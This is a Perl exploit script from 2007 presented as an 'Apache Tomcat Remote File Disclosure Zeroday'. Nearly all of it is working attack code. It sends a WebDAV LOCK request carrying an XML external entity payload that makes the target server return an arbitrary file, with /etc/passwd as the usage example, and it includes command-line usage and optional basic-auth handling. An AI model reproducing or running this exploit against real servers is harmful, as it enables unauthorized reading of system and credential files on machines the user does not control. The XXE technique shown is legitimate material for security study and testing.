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apache-disclose.txt

Posted on 16 October 2007

#!/usr/bin/perl
#******************************************************
# Apache Tomcat Remote File Disclosure Zeroday Xploit
# kcdarookie aka eliteb0y / 2007
#
# thanx to the whole team & andi :)
# +++KEEP PRIV8+++
#
# This Bug may reside in different WebDav implementations,
# Warp your mind!
# +You will need auth for the exploit to work...
#******************************************************

use IO::Socket;
use MIME::Base64; ### FIXME! Maybe support other auths too ?

# SET REMOTE PORT HERE
$remoteport = 8080;

sub usage {
print "Apache Tomcat Remote File Disclosure Zeroday Xploit
";
print "kcdarookie aka eliteb0y / 2007
";
print "usage: perl TOMCATXPL <remotehost> <webdav file> <file to retrieve> [username] [password]
";
print "example: perl TOMCATXPL www.hostname.com /webdav /etc/passwd tomcat tomcat
";exit;
}

if ($#ARGV < 2) {usage();}

$hostname = $ARGV[0];
$webdavfile = $ARGV[1];
$remotefile = $ARGV[2];

$username = $ARGV[3];
$password = $ARGV[4];

my $sock = IO::Socket::INET->new(PeerAddr => $hostname,
PeerPort => $remoteport,
Proto    => 'tcp');

$|=1;
$BasicAuth = encode_base64("$username:$password");

$KRADXmL =
"<?xml version="1.0"?>
"
."<!DOCTYPE REMOTE [
"
."<!ENTITY RemoteX SYSTEM "$remotefile">
"
."]>
"
."<D:lockinfo xmlns:D='DAV:'>
"
."<D:lockscope><D:exclusive/></D:lockscope>
"
."<D:locktype><D:write/></D:locktype>
"
."<D:owner>
"
."<D:href>
"
."<REMOTE>
"
."<RemoteX>&RemoteX;</RemoteX>
"
."</REMOTE>
"
."</D:href>
"
."</D:owner>
"
."</D:lockinfo>
";

print "Apache Tomcat Remote File Disclosure Zeroday Xploit
";
print "kcdarookie aka eliteb0y / 2007
";
print "Launching Remote Exploit...
";

$ExploitRequest =
"LOCK $webdavfile HTTP/1.1
"
."Host: $hostname
";

if ($username ne "") {
$ExploitRequest .= "Authorization: Basic $BasicAuth
";
}
$ExploitRequest .= "Content-Type: text/xml
Content-Length: ".length($KRADXmL)."

" . $KRADXmL;

print $sock $ExploitRequest;

while(<$sock>) {
print;
}

 

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